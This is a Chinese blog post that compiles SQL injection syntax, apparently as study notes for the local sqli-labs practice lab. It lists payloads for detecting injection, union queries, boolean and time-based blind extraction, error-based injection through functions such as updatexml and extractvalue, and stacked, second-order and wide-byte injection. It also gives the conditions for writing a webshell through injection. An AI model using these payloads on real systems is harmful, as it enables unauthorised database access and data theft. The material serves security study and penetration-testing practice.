当前位置:首页 » 《随便一记》 » 正文

【网络安全】sql注入语法汇总

2 人参与  2022年07月21日 08:14  分类 : 《随便一记》  评论

点击全文阅读


目录

一、原理

二、SQL注入判断方法

1.字符型检测

2.数字型检测

3.搜索型检测和xx型检测

三、union注入

1.order by判断列数

2.union 联合查询

四、盲注

1.布尔盲注

(1)查询数据库长度

(2)查询当前数据库名称

(3)查询数据库下有多少表

(4)查询数据库下表名第一位

(5)查询数据库下表中有多少个字段

(6)判断数据库下表中的第一个字段的长度

(7)查询数据库下表里面的第一个字段的第一位是多少

(8)得到字段探测第一条数据

2.时间盲注

(1)判断是否存在延迟函数

(2)查询当前数据库的长度,如果正确那么就延迟5秒

(3)判断当前数据库名第一位是否为a

(4)判断当前数据库名第一位ascii是否为100

(5)查询表数量

(6)查询表名长度

(7)截取表名第一位

(8)查询列字段数量

(9)查询列名长度

(10)截取列名第一位

(11)查询id第一条数据的长度

(12)获取数据信息内容

五、报错注入

(1)floor()

(2)extractvalue()

(3)updatexml()

(4)geometrycollection()

(5)multipoint()

(6)polygon()

(7)multipolygon()

(8)linestring()

(9)multilinestring()

(10)exp()

六、堆叠注入

七、二次注入

(1)插入恶意数据

(2)引用恶意数据

八、宽字节注入

(1)原理

(2)条件

九、dnslog注入

(1)条件

十、请求头注入

十一、SQL注入写入webshell

十二、总结


一、原理

  所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
  SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。

二、SQL注入判断方法

1.字符型检测

字符型判断url是否存在注入,在url栏的网址上添加一个单引号

url: http://127.0.0.1/sqli-labs-master/Less-1/?id=1’

会显示这样的报错,大致意思是你有一个sql语法错误,当在后面加了%23一个注释符后会正常显示。

当我们在url栏网址的单引号后面输入and 1=1 时页面显示正常。

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=1#

当我们把1=1换成1=2时页面报错

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2#

2.数字型检测

直接输入and 1=1查看。

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1

发现是可以正常显示页面的,那么我们在进一步判断1=2时。

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2

发现页面有变化,那么就可以判断他是一个数字型的注入,因为数字型的注入是不用加引号的。就类似于int一样。

3.搜索型检测和xx型检测

这个说白了就是字符型检测的一种,只是需要根据不同的报错信息进行构造闭合。

三、union注入

1.order by和报错注入

select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));

2.union 联合查询

?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’) --+

四、盲注

1.布尔盲注

(1)查询数据库长度

and (length(database()))>8%23

(2)查询当前数据库名称

and (ascii(substr(database(),1,1)))<120 %23

(3)查询数据库下有多少表

and (select count(*) from information_schema.tables where table_schema='数据库名')>4 %23

(4)查询数据库下表名第一位

and  (length((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1)))=6%23

(5)查询数据库下表中有多少个字段

and  (ascii(substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1))>100)%23

(6)判断数据库下表中的第一个字段的长度

and  (length((select column_name from information_schema.columns where table_schema='数据库名称' and table_name='表名' limit 0,1)))=2%23

(7)查询数据库下表里面的第一个字段的第一位是多少

and  (ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=105 %23

(8)得到字段探测第一条数据

and (ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=68 %23

2.时间盲注

(1)判断是否存在延迟函数

and sleep(5) %23

(2)查询当前数据库的长度,如果正确那么就延迟5秒

and if((length(database()))>7,sleep(5),1) --+

(3)判断当前数据库名第一位是否为a

and if((substr(database(),1,1)='a'),sleep(5),1)  %23

(4)判断当前数据库名第一位ascii是否为100

and if((ascii(substr(database(),1,1))=100),sleep(5),1)  %23

(5)查询表数量

and if((select count(*) from information_schema.tables where table_schema='数据库名称')=4,sleep(5),1)%23

(6)查询表名长度

and if((select length((select table_name from information_schema.tables where table_schema='数据库名' limit 3,1))=5),sleep(5),1)%23

(7)截取表名第一位

and if((select ascii(substr((select table_name from information_schema.tables where table_schema='数据库名 limit 3,1),1,1)))=117,sleep(5),1)%23

(8)查询列字段数量

and if(((select count(*) from information_schema.columns where table_schema='数据库名' and table_name='users')=3),sleep(5),1)%23

(9)查询列名长度

and if((select length((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1))=2),sleep(5),1)%23

(10)截取列名第一位

and if((select ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=105,sleep(5),1)%23

(11)查询id第一条数据的长度

and if((select length((select id from 表名  limit 0,1)))=1,sleep(5),1)%23

(12)获取数据信息内容

and if((select ascii(substr((select id from 表名  limit 0,1),1,1)))=49,sleep(5),1)%23

五、报错注入

(1)floor()

and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

(2)extractvalue()

select * from 数据库名 where id=1 and (extractvalue(1,concat(0x7e,(select 表名()),0x7e)));

(3)updatexml()

select * from 数据库名 where id=1 and (updatexml(1,concat(0x7e,(select 表名()),0x7e),1));

(4)geometrycollection()

select * from 数据库名where id=1 and geometrycollection((select * from(select * from(select 表名())a)b));

(5)multipoint()

select * from 数据库名 where id=1 and multipoint((select * from(select * from(select 表名())a)b));

(6)polygon()

select * from 数据库名 where id=1 and polygon((select * from(select * from(select 表名())a)b));

(7)multipolygon()

select * from 数据库名 where id=1 and multipolygon((select * from(select * from(select 表名())a)b));

(8)linestring()

select * from 数据库名 where id=1 and linestring((select * from(select * from(select 表名())a)b));

(9)multilinestring()

select * from 数据库名 where id=1 and multilinestring((select * from(select * from(select 表名())a)b));

(10)exp()

select * 数据库名 test where id=1 and exp(~(select * from(select 表名())a));

六、堆叠注入

原理:堆叠注入的原理 :  mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句

例如

select * from users;show databases;

就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

七、二次注入

二次注入,可以概括为以下两步:


(1)插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

(2)引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

八、宽字节注入

(1)原理

当传递一个参数id=1‘得时候,当我们输入这个单引号,会被认为是非法字符,会被过滤函数添加“\”给过滤掉,所以我们想要程序接受我们传递得参数中包含单引号,那么就需要把这个转义字符“\”干掉,那如何才能干掉呢?当http协议传输得时候,是要经过url编码的,如果这个编码完成后,传递到服务器时,我们可以在单引号前加上一个%81这样得编码,最后这样解码得时候,这个%81就会和“/”对应得编码相结合按照gbk编码要求去解码,最后只剩下个单引号。

(2)条件

Ⅰ:数据库查询设置为GBK编码
Ⅱ:使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()之类的函数

九、dnslog注入

(1)条件

mysql.ini中secure_file_priv必须为空
●secure_file_priv 为null 不允许导入导出
●secure_file_priv 为/tmp 导入导出只能在/tmp目录下
●secure_file_priv 为空时 则不做限制允许导入导出

十、SQL注入写入webshell

(1)条件

Ⅰ:当前sql注入用户必须为DBA权限(--is-dba为true)

Ⅱ:需要知道网站的绝对路径

Ⅲ:My.ini文件中的这项配置secure_file_priv=””为空

十一、总结

总结了很久的资料,希望各位技术友可以读完。


点击全文阅读


本文链接:http://m.zhangshiyu.com/post/43599.html

<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

最新文章

  • 产检报告一切正常,全家却都盼着我去死结局+番外_师成安茵茵明白精校文本_小说后续在线阅读_无删减免费完结_
  • 沈毓灵踹掉言情男主,勾搭男频帝王小说(踹掉言情男主,勾搭男频帝王)前传+全书阅读新作预览
  • 改娶抓阄选中的残疾女将军后,郡主悔疯了看点十足_太后叶眠雪裴知晏宝藏文_小说后续在线阅读_无删减免费完结_
  • 高考还没开始,爸妈开始惩罚我了惊天黑幕_青青董梦竹许诺全新_小说后续在线阅读_无删减免费完结_
  • 沈时宴林初眠附加完整在线阅读(踹掉渣男后,我被闺蜜小叔宠上天)最近更新列表
  • 娇妾善撩又能生,男主为她折腰(顾熙宁)结局+番外新上热文_(顾熙宁)娇妾善撩又能生,男主为她折腰小说全文免费阅读最新章节列表笔趣阁
  • ***宝藏文_芝芝玲玲贺云章最新阅读_小说后续在线阅读_无删减免费完结_
  • 靠弹幕知道父母的兄弟穷养计划后,我成功摆脱结局_小说后续在线阅读_无删减免费完结_
  • (傅砚臣盛书意)傅砚臣盛书意(盛书意傅砚臣)无套路无弹窗全部章节列表
  • 救命!我穿到修仙界当催生员了:结局+番外(程诺诺)小说免费更新在线阅读_救命!我穿到修仙界当催生员了:结局+番外免费全文阅读笔趣阁(程诺诺)
  • 为讨情人欢心,老公将怀孕八个月的我打到流产完整文本_顾裴司白月光顾董完结版_小说后续在线阅读_无删减免费完结_
  • 祝沉风苏轻寰附加(祝沉风苏轻寰)(苏轻寰祝沉风)全本浏览阅读连载中

    关于我们 | 我要投稿 | 免责申明

    Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1